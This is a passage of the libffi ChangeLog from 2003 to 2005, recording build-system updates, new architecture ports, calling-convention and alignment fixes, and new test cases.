2005-06-15 Rainer Orth * configure.ac: Treat i*86-*-solaris2.10 and up as X86_64. * configure: Regenerate. 2005-06-01 Alan Modra * src/powerpc/ppc_closure.S (ffi_closure_SYSV): Don't use JUMPTARGET to call ffi_closure_helper_SYSV. Append @local instead. * src/powerpc/sysv.S (ffi_call_SYSV): Likewise for ffi_prep_args_SYSV. 2005-05-17 Kelley Cook * configure.ac: Use AC_C_BIGENDIAN instead of AC_C_BIGENDIAN_CROSS. Use AC_CHECK_SIZEOF instead of AC_COMPILE_CHECK_SIZEOF. * Makefile.am (ACLOCAL_AMFLAGS): Remove -I ../config. * aclocal.m4, configure, fficonfig.h.in, Makefile.in, include/Makefile.in, testsuite/Makefile.in: Regenerate. 2005-05-09 Mike Stump * configure: Regenerate. 2005-05-08 Richard Henderson PR libffi/21285 * src/alpha/osf.S: Update unwind into to match code. 2005-05-04 Andreas Degert Richard Henderson * src/x86/ffi64.c (ffi_prep_cif_machdep): Save sse-used flag in bit 11 of flags. (ffi_call): Mask return type field. Pass ssecount to ffi_call_unix64. (ffi_prep_closure): Set carry bit if sse-used flag set. * src/x86/unix64.S (ffi_call_unix64): Add ssecount argument. Only load sse registers if ssecount non-zero. (ffi_closure_unix64): Only save sse registers if carry set on entry. 2005-04-29 Ralf Corsepius * configure.ac: Add i*86-*-rtems*, sparc*-*-rtems*, powerpc-*rtems*, arm*-*-rtems*, sh-*-rtems*. * configure: Regenerate. 2005-04-20 Hans-Peter Nilsson * testsuite/lib/libffi-dg.exp (libffi-dg-test-1): In regsub use, have Tcl8.3-compatible intermediate variable. 2005-04-18 Simon Posnjak Hans-Peter Nilsson * Makefile.am: Add CRIS support. * configure.ac: Likewise. * Makefile.in, configure, testsuite/Makefile.in, include/Makefile.in: Regenerate. * src/cris: New directory. * src/cris/ffi.c, src/cris/sysv.S, src/cris/ffitarget.h: New files. * src/prep_cif.c (ffi_prep_cif): Wrap in #ifndef __CRIS__. * testsuite/lib/libffi-dg.exp (libffi-dg-test-1): Replace \n with \r?\n in output tests. 2005-04-12 Mike Stump * configure: Regenerate. 2005-03-30 Hans Boehm * src/ia64/ffitarget.h (ffi_arg): Use long long instead of DI. 2005-03-30 Steve Ellcey * src/ia64/ffitarget.h (ffi_arg) ADD DI attribute. (ffi_sarg) Ditto. * src/ia64/unix.S (ffi_closure_unix): Extend gp to 64 bits in ILP32 mode. Load 64 bits even for short data. 2005-03-23 Mike Stump * src/powerpc/darwin.S: Update for -m64 multilib. * src/powerpc/darwin_closure.S: Likewise. 2005-03-21 Zack Weinberg * configure.ac: Do not invoke TL_AC_GCC_VERSION. Do not set tool_include_dir. * aclocal.m4, configure, Makefile.in, testsuite/Makefile.in: Regenerate. * include/Makefile.am: Set gcc_version and toollibffidir. * include/Makefile.in: Regenerate. 2005-02-22 Andrew Haley * src/powerpc/ffi.c (ffi_prep_cif_machdep): Bump alignment to odd-numbered register pairs for 64-bit integer types. 2005-02-23 Andreas Tobler PR libffi/20104 * testsuite/libffi.call/return_ll1.c: New test case. 2005-02-11 Janis Johnson * testsuite/libffi.call/cls_align_longdouble.c: Remove dg-options. * testsuite/libffi.call/float.c: Ditto. * testsuite/libffi.call/float2.c: Ditto. * testsuite/libffi.call/float3.c: Ditto. 2005-02-08 Andreas Tobler * src/frv/ffitarget.h: Remove PPC stuff which does not belong to frv. 2005-01-12 Eric Botcazou * testsuite/libffi.special/special.exp (cxx_options): Add -shared-libgcc. 2004-12-31 Richard Henderson * src/types.c (FFI_AGGREGATE_TYPEDEF): Remove. (FFI_TYPEDEF): Rename from FFI_INTEGRAL_TYPEDEF. Replace size and offset parameters with a type parameter; deduce size and structure alignment. Update all users. 2004-12-31 Richard Henderson * src/types.c (FFI_TYPE_POINTER): Define with sizeof. (FFI_TYPE_LONGDOUBLE): Fix for ia64. * src/ia64/ffitarget.h (struct ffi_ia64_trampoline_struct): Move into ffi_prep_closure. * src/ia64/ia64_flags.h, src/ia64/ffi.c, src/ia64/unix.S: Rewrite from scratch. 2004-12-27 Richard Henderson * src/x86/unix64.S: Fix typo in unwind info. 2004-12-25 Richard Henderson * src/x86/ffi64.c (struct register_args): Rename from stackLayout. (enum x86_64_reg_class): Add X86_64_COMPLEX_X87_CLASS. (merge_classes): Check for it. (SSE_CLASS_P): New. (classify_argument): Pass byte_offset by value; perform all updates inside struct case. (examine_argument): Add classes argument; handle X86_64_COMPLEX_X87_CLASS. (ffi_prep_args): Merge into ... (ffi_call): ... here. Share stack frame with ffi_call_unix64. (ffi_prep_cif_machdep): Setup cif->flags for proper structure return. (ffi_fill_return_value): Remove. (ffi_prep_closure): Remove dead assert. (ffi_closure_unix64_inner): Rename from ffi_closure_UNIX64_inner. Rewrite to use struct register_args instead of va_list. Create flags for handling structure returns. * src/x86/unix64.S: Remove dead strings. (ffi_call_unix64): Rename from ffi_call_UNIX64. Rewrite to share stack frame with ffi_call. Handle structure returns properly. (float2sse, floatfloat2sse, double2sse): Remove. (sse2float, sse2double, sse2floatfloat): Remove. (ffi_closure_unix64): Rename from ffi_closure_UNIX64. Rewrite to handle structure returns properly. 2004-12-08 David Edelsohn * Makefile.am (AM_MAKEFLAGS): Remove duplicate LIBCFLAGS and PICFLAG. * Makefile.in: Regenerated. 2004-12-02 Richard Sandiford * configure.ac: Use TL_AC_GCC_VERSION to set gcc_version. * configure, aclocal.m4, Makefile.in: Regenerate. * include/Makefile.in, testsuite/Makefile.in: Regenerate. 2004-11-29 Kelley Cook * configure: Regenerate for libtool change. 2004-11-25 Kelley Cook * configure: Regenerate for libtool reversion. 2004-11-24 Kelley Cook * configure: Regenerate for libtool change. 2004-11-23 John David Anglin * testsuite/lib/libffi-dg.exp: Use new procs in target-libpath.exp. 2004-11-23 Richard Sandiford * src/mips/o32.S (ffi_call_O32, ffi_closure_O32): Use jalr instead of jal. Use an absolute encoding for the frame information. 2004-11-23 Kelley Cook * Makefile.am: Remove no-dependencies. Add ACLOCAL_AMFLAGS. * acinclude.m4: Delete logic for sincludes. * aclocal.m4, Makefile.in, configure: Regenerate. * include/Makefile: Likewise. * testsuite/Makefile: Likewise. 2004-11-22 Eric Botcazou * src/sparc/ffi.c (ffi_prep_closure): Align doubles and 64-bit integers on a 8-byte boundary. * src/sparc/v8.S (ffi_closure_v8): Reserve frame space for arguments. 2004-10-27 Richard Earnshaw * src/arm/ffi.c (ffi_prep_cif_machdep): Handle functions that return long long values. Round stack allocation to a multiple of 8 bytes for ATPCS compatibility. * src/arm/sysv.S (ffi_call_SYSV): Rework to avoid use of APCS register names. Handle returning long long types. Add Thumb and interworking support. Improve soft-float code. 2004-10-27 Richard Earnshaw * testsuite/lib/libffi-db.exp (load_gcc_lib): New function. (libffi_exit): New function. (libffi_init): Build the testglue wrapper if needed. 2004-10-25 Eric Botcazou PR other/18138 * testsuite/lib/libffi-dg.exp: Accept more than one multilib libgcc. 2004-10-25 Kazuhiro Inaoka * src/m32r/libffitarget.h (FFI_CLOSURES): Set to 0. 2004-10-20 Kaz Kojima * src/sh/sysv.S (ffi_call_SYSV): Don't align for double data. * testsuite/libffi.call/float3.c: New test case. 2004-10-18 Kaz Kojima * src/sh/ffi.c (ffi_prep_closure): Set T bit in trampoline for the function returning a structure pointed with R2. * src/sh/sysv.S (ffi_closure_SYSV): Use R2 as the pointer to the structure return value if T bit set. Emit position independent code and EH data if PIC. 2004-10-13 Kazuhiro Inaoka * Makefile.am: Add m32r support. * configure.ac: Likewise. * Makefile.in: Regenerate. * confiugre: Regenerate. * src/types.c: Add m32r port to FFI_INTERNAL_TYPEDEF (uint64, sint64, double, longdouble) * src/m32r: New directory. * src/m32r/ffi.c: New file. * src/m32r/sysv.S: Likewise. * src/m32r/ffitarget.h: Likewise. 2004-10-02 Kaz Kojima * testsuite/libffi.call/negint.c: New test case. 2004-09-14 H.J. Lu PR libgcj/17465 * testsuite/lib/libffi-dg.exp: Don't use global ld_library_path. Set up LD_LIBRARY_PATH, SHLIB_PATH, LD_LIBRARYN32_PATH, LD_LIBRARY64_PATH, LD_LIBRARY_PATH_32, LD_LIBRARY_PATH_64 and DYLD_LIBRARY_PATH. 2004-09-05 Andreas Tobler * testsuite/libffi.call/many_win32.c: Remove whitespaces. * testsuite/libffi.call/promotion.c: Likewise. * testsuite/libffi.call/return_ll.c: Remove unused var. Cleanup whitespaces. * testsuite/libffi.call/return_sc.c: Likewise. * testsuite/libffi.call/return_uc.c: Likewise. 2004-09-05 Andreas Tobler * src/powerpc/darwin.S: Fix comments and identation. * src/powerpc/darwin_closure.S: Likewise. 2004-09-02 Andreas Tobler * src/powerpc/ffi_darwin.c: Add flag for longdouble return values. (ffi_prep_args): Handle longdouble arguments. (ffi_prep_cif_machdep): Set flags for longdouble. Calculate space for longdouble. (ffi_closure_helper_DARWIN): Add closure handling for longdouble. * src/powerpc/darwin.S (_ffi_call_DARWIN): Add handling of longdouble values. * src/powerpc/darwin_closure.S (_ffi_closure_ASM): Likewise. * src/types.c: Defined longdouble size and alignment for darwin. 2004-09-02 Andreas Tobler * src/powerpc/aix.S: Remove whitespaces. * src/powerpc/aix_closure.S: Likewise. * src/powerpc/asm.h: Likewise. * src/powerpc/ffi.c: Likewise. * src/powerpc/ffitarget.h: Likewise. * src/powerpc/linux64.S: Likewise. * src/powerpc/linux64_closure.S: Likewise. * src/powerpc/ppc_closure.S: Likewise. * src/powerpc/sysv.S: Likewise. 2004-08-30 Anthony Green * Makefile.am: Add frv support. * Makefile.in, testsuite/Makefile.in: Rebuilt. * configure.ac: Read configure.host. * configure.in: Read configure.host. * configure.host: New file. frv-elf needs libgloss. * include/ffi.h.in: Force ffi_closure to have a nice big (8) alignment. This is needed to frv and shouldn't harm the others. * include/ffi_common.h (ALIGN_DOWN): New macro. * src/frv/ffi.c, src/frv/ffitarget.h, src/frv/eabi.S: New files. 2004-08-24 David Daney * testsuite/libffi.call/closure_fn0.c: Xfail mips64* instead of mips*. * testsuite/libffi.call/closure_fn1.c: Likewise. * testsuite/libffi.call/closure_fn2.c Likewise. * testsuite/libffi.call/closure_fn3.c: Likewise. * testsuite/libffi.call/closure_fn4.c: Likewise. * testsuite/libffi.call/closure_fn5.c: Likewise. * testsuite/libffi.call/cls_18byte.c: Likewise. * testsuite/libffi.call/cls_19byte.c: Likewise. * testsuite/libffi.call/cls_1_1byte.c: Likewise. * testsuite/libffi.call/cls_20byte.c: Likewise. * testsuite/libffi.call/cls_20byte1.c: Likewise. * testsuite/libffi.call/cls_24byte.c: Likewise. * testsuite/libffi.call/cls_2byte.c: Likewise. * testsuite/libffi.call/cls_3_1byte.c: Likewise. * testsuite/libffi.call/cls_3byte1.c: Likewise. * testsuite/libffi.call/cls_3byte2.c: Likewise. * testsuite/libffi.call/cls_4_1byte.c: Likewise. * testsuite/libffi.call/cls_4byte.c: Likewise. * testsuite/libffi.call/cls_64byte.c: Likewise. * testsuite/libffi.call/cls_6byte.c: Likewise. * testsuite/libffi.call/cls_7byte.c: Likewise. * testsuite/libffi.call/cls_8byte.c: Likewise. * testsuite/libffi.call/cls_9byte1.c: Likewise. * testsuite/libffi.call/cls_9byte2.c: Likewise. * testsuite/libffi.call/cls_align_double.c: Likewise. * testsuite/libffi.call/cls_align_float.c: Likewise. * testsuite/libffi.call/cls_align_longdouble.c: Likewise. * testsuite/libffi.call/cls_align_pointer.c: Likewise. * testsuite/libffi.call/cls_align_sint16.c: Likewise. * testsuite/libffi.call/cls_align_sint32.c: Likewise. * testsuite/libffi.call/cls_align_sint64.c: Likewise. * testsuite/libffi.call/cls_align_uint16.c: Likewise. * testsuite/libffi.call/cls_align_uint32.c: Likewise. * testsuite/libffi.call/cls_align_uint64.c: Likewise. * testsuite/libffi.call/cls_double.c: Likewise. * testsuite/libffi.call/cls_float.c: Likewise. * testsuite/libffi.call/cls_multi_schar.c: Likewise. * testsuite/libffi.call/cls_multi_sshort.c: Likewise. * testsuite/libffi.call/cls_multi_sshortchar.c: Likewise. * testsuite/libffi.call/cls_multi_uchar.c: Likewise. * testsuite/libffi.call/cls_multi_ushort.c: Likewise. * testsuite/libffi.call/cls_multi_ushortchar.c: Likewise. * testsuite/libffi.call/cls_schar.c: Likewise. * testsuite/libffi.call/cls_sint.c: Likewise. * testsuite/libffi.call/cls_sshort.c: Likewise. * testsuite/libffi.call/cls_uchar.c: Likewise. * testsuite/libffi.call/cls_uint.c: Likewise. * testsuite/libffi.call/cls_ulonglong.c: Likewise. * testsuite/libffi.call/cls_ushort.c: Likewise. * testsuite/libffi.call/nested_struct.c: Likewise. * testsuite/libffi.call/nested_struct1.c: Likewise. * testsuite/libffi.call/nested_struct2.c: Likewise. * testsuite/libffi.call/nested_struct3.c: Likewise. * testsuite/libffi.call/problem1.c: Likewise. * testsuite/libffi.special/unwindtest.cc: Likewise. * testsuite/libffi.call/cls_12byte.c: Likewise and set return value to zero. * testsuite/libffi.call/cls_16byte.c: Likewise. * testsuite/libffi.call/cls_5byte.c: Likewise. 2004-08-23 David Daney PR libgcj/13141 * src/mips/ffitarget.h (FFI_O32_SOFT_FLOAT): New ABI. * src/mips/ffi.c (ffi_prep_args): Fix alignment calculation. (ffi_prep_cif_machdep): Handle FFI_O32_SOFT_FLOAT floating point parameters and return types. (ffi_call): Handle FFI_O32_SOFT_FLOAT ABI. (ffi_prep_closure): Ditto. (ffi_closure_mips_inner_O32): Handle FFI_O32_SOFT_FLOAT ABI, fix alignment calculations. * src/mips/o32.S (ffi_closure_O32): Don't use floating point instructions if FFI_O32_SOFT_FLOAT, make stack frame ABI compliant. 2004-08-14 Casey Marshall * src/mips/ffi.c (ffi_pref_cif_machdep): set `cif->flags' to contain `FFI_TYPE_UINT64' as return type for any 64-bit integer (O32 ABI only). (ffi_prep_closure): new function. (ffi_closure_mips_inner_O32): new function. * src/mips/ffitarget.h: Define `FFI_CLOSURES' and `FFI_TRAMPOLINE_SIZE' appropriately if the ABI is o32. * src/mips/o32.S (ffi_call_O32): add labels for .eh_frame. Return 64 bit integers correctly. (ffi_closure_O32): new function. Added DWARF-2 unwind info for both functions. 2004-08-10 Andrew Haley * src/x86/ffi64.c (ffi_prep_args ): 8-align all stack arguments. 2004-08-01 Robert Millan * configure.ac: Detect knetbsd-gnu and kfreebsd-gnu. * configure: Regenerate. 2004-07-30 Maciej W. Rozycki * acinclude.m4 (AC_FUNC_MMAP_BLACKLIST): Check for and mmap() explicitly instead of relying on preset autoconf cache variables. * aclocal.m4: Regenerate. * configure: Regenerate. 2004-07-11 Ulrich Weigand * src/s390/ffi.c (ffi_prep_args): Fix C aliasing violation. (ffi_check_float_struct): Remove unused prototype. 2004-06-30 Geoffrey Keating * src/powerpc/ffi_darwin.c (flush_icache): ';' is a comment character on Darwin, use '\n\t' instead. 2004-06-26 Matthias Klose * libtool-version: Fix typo in revision/age. 2004-06-17 Matthias Klose * libtool-version: New. * Makefile.am (libffi_la_LDFLAGS): Use -version-info for soname. * Makefile.in: Regenerate. 2004-06-15 Paolo Bonzini * Makefile.am: Remove useless multilib rules. * Makefile.in: Regenerate. * aclocal.m4: Regenerate with automake 1.8.5. * configure.ac: Remove useless multilib configury. * configure: Regenerate. 2004-06-15 Paolo Bonzini * .cvsignore: New file. 2004-06-10 Jakub Jelinek * src/ia64/unix.S (ffi_call_unix): Insert group barrier break fp_done. (ffi_closure_UNIX): Fix f14/f15 adjustment if FLOAT_SZ is ever changed from 8. 2004-06-06 Sean McNeil * configure.ac: Add x86_64-*-freebsd* support. * configure: Regenerate. 2004-04-26 Joe Buck Bug 15093 * configure.ac: Test for existence of mmap and sys/mman.h before checking blacklist. Fix suggested by Jim Wilson. * configure: Regenerate. 2004-04-26 Matt Austern * src/powerpc/darwin.S: Go through a non-lazy pointer for initial FDE location. * src/powerpc/darwin_closure.S: Likewise. 2004-04-24 Andreas Tobler * testsuite/libffi.call/cls_multi_schar.c (main): Fix initialization error. Reported by Thomas Heller . * testsuite/libffi.call/cls_multi_sshort.c (main): Likewise. * testsuite/libffi.call/cls_multi_ushort.c (main): Likewise. 2004-03-20 Matthias Klose * src/pa/linux.S: Fix typo. 2004-03-19 Matthias Klose * Makefile.am: Update. * Makefile.in: Regenerate. * src/pa/ffi.h.in: Remove. * src/pa/ffitarget.h: New file. 2004-02-10 Randolph Chung * Makefile.am: Add PA support. * Makefile.in: Regenerate. * include/Makefile.in: Regenerate. * configure.ac: Add PA target. * configure: Regenerate. * src/pa/ffi.c: New file. * src/pa/ffi.h.in: Add PA support. * src/pa/linux.S: New file. * prep_cif.c: Add PA support. 2004-03-16 Hosaka Yuji * src/types.c: Fix alignment size of X86_WIN32 case int64 and double. * src/x86/ffi.c (ffi_prep_args): Replace ecif->cif->rtype->type with ecif->cif->flags. (ffi_call, ffi_prep_incoming_args_SYSV): Replace cif->rtype->type with cif->flags. (ffi_prep_cif_machdep): Add X86_WIN32 struct case. (ffi_closure_SYSV): Add 1 or 2-bytes struct case for X86_WIN32. * src/x86/win32.S (retstruct1b, retstruct2b, sc_retstruct1b, sc_retstruct2b): Add for 1 or 2-bytes struct case. 2004-03-15 Kelley Cook * configure.in: Rename file to ... * configure.ac: ... this. * fficonfig.h.in: Regenerate. * Makefile.in: Regenerate. * include/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. 2004-03-12 Matt Austern * src/powerpc/darwin.S: Fix EH information so it corresponds to changes in EH format resulting from addition of linkonce support. * src/powerpc/darwin_closure.S: Likewise. 2004-03-11 Andreas Tobler Paolo Bonzini * Makefile.am (AUTOMAKE_OPTIONS): Set them. Remove VPATH. Remove rules for object files. Remove multilib support. (AM_CCASFLAGS): Add. * configure.in (AC_CONFIG_HEADERS): Relace AM_CONFIG_HEADER. (AC_PREREQ): Bump version to 2.59. (AC_INIT): Fill with version info and bug address. (ORIGINAL_LD_FOR_MULTILIBS): Remove. (AM_ENABLE_MULTILIB): Use this instead of AC_ARG_ENABLE. De-precious CC so that the right flags are passed down to multilibs. (AC_MSG_ERROR): Replace obsolete macro AC_ERROR. (AC_CONFIG_FILES): Replace obsolete macro AC_LINK_FILES. (AC_OUTPUT): Reorganize the output with AC_CONFIG_COMMANDS. * configure: Rebuilt. * aclocal.m4: Likewise. * Makefile.in, include/Makefile.in, testsuite/Makefile.in: Likewise. * fficonfig.h.in: Likewise. 2004-03-11 Andreas Schwab * src/ia64/ffi.c (ffi_prep_incoming_args_UNIX): Get floating point arguments from fp registers only for the first 8 parameter slots. Don't convert a float parameter when passed in memory. 2004-03-09 Hans-Peter Nilsson * configure: Regenerate for config/accross.m4 correction. 2004-02-25 Matt Kraai * src/powerpc/ffi.c (ffi_prep_args_SYSV): Change ecif->cif->bytes to bytes. (ffi_prep_cif_machdep): Add braces around nested if statement. 2004-02-09 Alan Modra * src/types.c (pointer): POWERPC64 has 8 byte pointers. * src/powerpc/ffi.c (ffi_prep_args64): Correct long double handling. (ffi_closure_helper_LINUX64): Fix typo. * testsuite/libffi.call/cls_align_longdouble.c: Pass -mlong-double-128 for powerpc64-*-*. * testsuite/libffi.call/float.c: Likewise. * testsuite/libffi.call/float2.c: Likewise. 2004-02-08 Alan Modra * src/powerpc/ffi.c (ffi_prep_cif_machdep ): Correct long double function return and long double arg handling. (ffi_closure_helper_LINUX64): Formatting. Delete unused "ng" var. Use "end_pfr" instead of "nf". Correct long double handling. Localise "temp". * src/powerpc/linux64.S (ffi_call_LINUX64): Save f2 long double return value. * src/powerpc/linux64_closure.S (ffi_closure_LINUX64): Allocate space for long double return value. Adjust stack frame and offsets. Load f2 long double return. 2004-02-07 Alan Modra * src/types.c: Use 16 byte long double for POWERPC64. 2004-01-25 Eric Botcazou * src/sparc/ffi.c (ffi_prep_args_v9): Shift the parameter array when the structure return address is passed in %o0. (ffi_V9_return_struct): Rename into ffi_v9_layout_struct. (ffi_v9_layout_struct): Align the field following a nested structure on a word boundary. Use memmove instead of memcpy. (ffi_call): Update call to ffi_V9_return_struct. (ffi_prep_closure): Define 'ctx' only for V8. (ffi_closure_sparc_inner): Clone into ffi_closure_sparc_inner_v8 and ffi_closure_sparc_inner_v9. (ffi_closure_sparc_inner_v8): Return long doubles by reference. Always skip the structure return address. For structures and long doubles, copy the argument directly. (ffi_closure_sparc_inner_v9): Skip the structure return address only if required. Shift the maximum floating-point slot accordingly. For big structures, copy the argument directly; otherwise, left-justify the argument and call ffi_v9_layout_struct to lay out the structure on the stack. * src/sparc/v8.S: Undef STACKFRAME before defining it. (ffi_closure_v8): Pass the structure return address. Update call to ffi_closure_sparc_inner_v8. Short-circuit FFI_TYPE_INT handling. Skip the 'unimp' insn when returning long doubles and structures. * src/sparc/v9.S: Undef STACKFRAME before defining it. (ffi_closure_v9): Increase the frame size by 2 words. Short-circuit FFI_TYPE_INT handling. Load structures both in integers and floating-point registers on return. * README: Update status of the SPARC port. 2004-01-24 Andreas Tobler * testsuite/libffi.call/pyobjc-tc.c (main): Treat result value as of type ffi_arg. * testsuite/libffi.call/struct3.c (main): Fix CHECK. 2004-01-22 Ulrich Weigand * testsuite/libffi.call/cls_uint.c (cls_ret_uint_fn): Treat result value as of type ffi_arg, not unsigned int. 2004-01-21 Michael Ritzert * ffi64.c (ffi_prep_args): Cast the RHS of an assignment instead of the LHS. 2004-01-12 Andreas Tobler * testsuite/lib/libffi-dg.exp: Set LD_LIBRARY_PATH_32 for Solaris. 2004-01-08 Rainer Orth * testsuite/libffi.call/ffitest.h (allocate_mmap): Cast MAP_FAILED to void *. 2003-12-10 Richard Henderson * testsuite/libffi.call/cls_align_pointer.c: Cast pointers to size_t instead of int. 2003-12-04 Hosaka Yuji * testsuite/libffi.call/many_win32.c: Include . * testsuite/libffi.call/many_win32.c (main): Replace variable int i with unsigned long ul. * testsuite/libffi.call/cls_align_uint64.c: New test case. * testsuite/libffi.call/cls_align_sint64.c: Likewise. * testsuite/libffi.call/cls_align_uint32.c: Likewise. * testsuite/libffi.call/cls_align_sint32.c: Likewise. * testsuite/libffi.call/cls_align_uint16.c: Likewise. * testsuite/libffi.call/cls_align_sint16.c: Likewise. * testsuite/libffi.call/cls_align_float.c: Likewise. * testsuite/libffi.call/cls_align_double.c: Likewise. * testsuite/libffi.call/cls_align_longdouble.c: Likewise. * testsuite/libffi.call/cls_align_pointer.c: Likewise. 2003-12-02 Hosaka Yuji PR other/13221 * src/x86/ffi.c (ffi_prep_args, ffi_prep_incoming_args_SYSV): Align arguments to 32 bits. 2003-12-01 Andreas Tobler PR other/13221 * testsuite/libffi.call/cls_multi_sshort.c: New test case. * testsuite/libffi.call/cls_multi_sshortchar.c: Likewise. * testsuite/libffi.call/cls_multi_uchar.c: Likewise. * testsuite/libffi.call/cls_multi_schar.c: Likewise. * testsuite/libffi.call/cls_multi_ushortchar.c: Likewise. * testsuite/libffi.call/cls_multi_ushort.c: Likewise. * testsuite/libffi.special/unwindtest.cc: Cosmetics. 2003-11-26 Kaveh R. Ghazi * testsuite/libffi.call/ffitest.h: Include . * testsuite/libffi.special/ffitestcxx.h: Likewise. 2003-11-22 Andreas Tobler * Makefile.in: Rebuilt. * configure: Likewise. * testsuite/libffi.special/unwindtest.cc: Convert the mmap to the right type. 2003-11-21 Andreas Jaeger Andreas Tobler * acinclude.m4: Add AC_FUNC_MMAP_BLACKLIST. * configure.in: Call AC_FUNC_MMAP_BLACKLIST. * Makefile.in: Rebuilt. * aclocal.m4: Likewise. * configure: Likewise. * fficonfig.h.in: Likewise. * testsuite/lib/libffi-dg.exp: Add include dir. * testsuite/libffi.call/ffitest.h: Add MMAP definitions. * testsuite/libffi.special/ffitestcxx.h: Likewise. * testsuite/libffi.call/closure_fn0.c: Use MMAP functionality for ffi_closure if available. * testsuite/libffi.call/closure_fn1.c: Likewise. * testsuite/libffi.call/closure_fn2.c: Likewise. * testsuite/libffi.call/closure_fn3.c: Likewise. * testsuite/libffi.call/closure_fn4.c: Likewise. * testsuite/libffi.call/closure_fn5.c: Likewise. * testsuite/libffi.call/cls_12byte.c: Likewise. * testsuite/libffi.call/cls_16byte.c: Likewise. * testsuite/libffi.call/cls_18byte.c: Likewise. * testsuite/libffi.call/cls_19byte.c: Likewise. * testsuite/libffi.call/cls_1_1byte.c: Likewise. * testsuite/libffi.call/cls_20byte.c: Likewise. * testsuite/libffi.call/cls_20byte1.c: Likewise. * testsuite/libffi.call/cls_24byte.c: Likewise. * testsuite/libffi.call/cls_2byte.c: Likewise. * testsuite/libffi.call/cls_3_1byte.c: Likewise. * testsuite/libffi.call/cls_3byte1.c: Likewise. * testsuite/libffi.call/cls_3byte2.c: Likewise. * testsuite/libffi.call/cls_4_1byte.c: Likewise. * testsuite/libffi.call/cls_4byte.c: Likewise. * testsuite/libffi.call/cls_5byte.c: Likewise. * testsuite/libffi.call/cls_64byte.c: Likewise. * testsuite/libffi.call/cls_6byte.c: Likewise. * testsuite/libffi.call/cls_7byte.c: Likewise. * testsuite/libffi.call/cls_8byte.c: Likewise. * testsuite/libffi.call/cls_9byte1.c: Likewise. * testsuite/libffi.call/cls_9byte2.c: Likewise. * testsuite/libffi.call/cls_double.c: Likewise. * testsuite/libffi.call/cls_float.c: Likewise. * testsuite/libffi.call/cls_schar.c: Likewise. * testsuite/libffi.call/cls_sint.c: Likewise. * testsuite/libffi.call/cls_sshort.c: Likewise. * testsuite/libffi.call/cls_uchar.c: Likewise. * testsuite/libffi.call/cls_uint.c: Likewise. * testsuite/libffi.call/cls_ulonglong.c: Likewise. * testsuite/libffi.call/cls_ushort.c: Likewise. * testsuite/libffi.call/nested_struct.c: Likewise. * testsuite/libffi.call/nested_struct1.c: Likewise. * testsuite/libffi.call/nested_struct2.c: Likewise. * testsuite/libffi.call/nested_struct3.c: Likewise. * testsuite/libffi.call/problem1.c: Likewise. * testsuite/libffi.special/unwindtest.cc: Likewise. 2003-11-20 Andreas Tobler * testsuite/lib/libffi-dg.exp: Make the -lgcc_s conditional. 2003-11-19 Andreas Tobler * testsuite/lib/libffi-dg.exp: Add DYLD_LIBRARY_PATH for darwin. Add -lgcc_s to additional flags. 2003-11-12 Andreas Tobler * configure.in, include/Makefile.am: PR libgcj/11147, install the ffitarget.h header file in a gcc versioned and target dependent place. * configure: Regenerated. * Makefile.in, include/Makefile.in: Likewise. * testsuite/Makefile.in: Likewise. 2003-11-09 Andreas Tobler * testsuite/libffi.call/closure_fn0.c: Print result and check with dg-output to make debugging easier. * testsuite/libffi.call/closure_fn1.c: Likewise. * testsuite/libffi.call/closure_fn2.c: Likewise. * testsuite/libffi.call/closure_fn3.c: Likewise. * testsuite/libffi.call/closure_fn4.c: Likewise. * testsuite/libffi.call/closure_fn5.c: Likewise. * testsuite/libffi.call/cls_12byte.c: Likewise. * testsuite/libffi.call/cls_16byte.c: Likewise. * testsuite/libffi.call/cls_18byte.c: Likewise. * testsuite/libffi.call/cls_19byte.c: Likewise. * testsuite/libffi.call/cls_1_1byte.c: Likewise. * testsuite/libffi.call/cls_20byte.c: Likewise. * testsuite/libffi.call/cls_20byte1.c: Likewise. * testsuite/libffi.call/cls_24byte.c: Likewise. * testsuite/libffi.call/cls_2byte.c: Likewise. * testsuite/libffi.call/cls_3_1byte.c: Likewise. * testsuite/libffi.call/cls_3byte1.c: Likewise. * testsuite/libffi.call/cls_3byte2.c: Likewise. * testsuite/libffi.call/cls_4_1byte.c: Likewise. * testsuite/libffi.call/cls_4byte.c: Likewise. * testsuite/libffi.call/cls_5byte.c: Likewise. * testsuite/libffi.call/cls_64byte.c: Likewise. * testsuite/libffi.call/cls_6byte.c: Likewise. * testsuite/libffi.call/cls_7byte.c: Likewise. * testsuite/libffi.call/cls_8byte.c: Likewise. * testsuite/libffi.call/cls_9byte1.c: Likewise. * testsuite/libffi.call/cls_9byte2.c: Likewise. * testsuite/libffi.call/cls_double.c: Likewise. * testsuite/libffi.call/cls_float.c: Likewise. * testsuite/libffi.call/cls_schar.c: Likewise. * testsuite/libffi.call/cls_sint.c: Likewise. * testsuite/libffi.call/cls_sshort.c: Likewise. * testsuite/libffi.call/cls_uchar.c: Likewise. * testsuite/libffi.call/cls_uint.c: Likewise. * testsuite/libffi.call/cls_ulonglong.c: Likewise. * testsuite/libffi.call/cls_ushort.c: Likewise. * testsuite/libffi.call/problem1.c: Likewise. * testsuite/libffi.special/unwindtest.cc: Make ffi_closure static. 2003-11-08 Andreas Tobler * testsuite/libffi.call/cls_9byte2.c: New test case. * testsuite/libffi.call/cls_9byte1.c: Likewise. * testsuite/libffi.call/cls_64byte.c: Likewise. * testsuite/libffi.call/cls_20byte1.c: Likewise. * testsuite/libffi.call/cls_19byte.c: Likewise. * testsuite/libffi.call/cls_18byte.c: Likewise. * testsuite/libffi.call/closure_fn4.c: Likewise. * testsuite/libffi.call/closure_fn5.c: Likewise. * testsuite/libffi.call/cls_schar.c: Likewise. * testsuite/libffi.call/cls_sint.c: Likewise. * testsuite/libffi.call/cls_sshort.c: Likewise. * testsuite/libffi.call/nested_struct2.c: Likewise. * testsuite/libffi.call/nested_struct3.c: Likewise. 2003-11-08 Andreas Tobler * testsuite/libffi.call/cls_double.c: Do a check on the result. * testsuite/libffi.call/cls_uchar.c: Likewise. * testsuite/libffi.call/cls_uint.c: Likewise. * testsuite/libffi.call/cls_ulonglong.c: Likewise. * testsuite/libffi.call/cls_ushort.c: Likewise. * testsuite/libffi.call/return_sc.c: Cleanup whitespaces. 2003-11-06 Andreas Tobler * src/prep_cif.c (ffi_prep_cif): Move the validity check after the initialization. 2003-10-23 Andreas Tobler * src/java_raw_api.c (ffi_java_ptrarray_to_raw): Replace FFI_ASSERT(FALSE) with FFI_ASSERT(0). 2003-10-22 David Daney * src/mips/ffitarget.h: Replace undefined UINT32 and friends with __attribute__((__mode__(__SI__))) and friends. 2003-10-22 Andreas Schwab * src/ia64/ffi.c: Replace 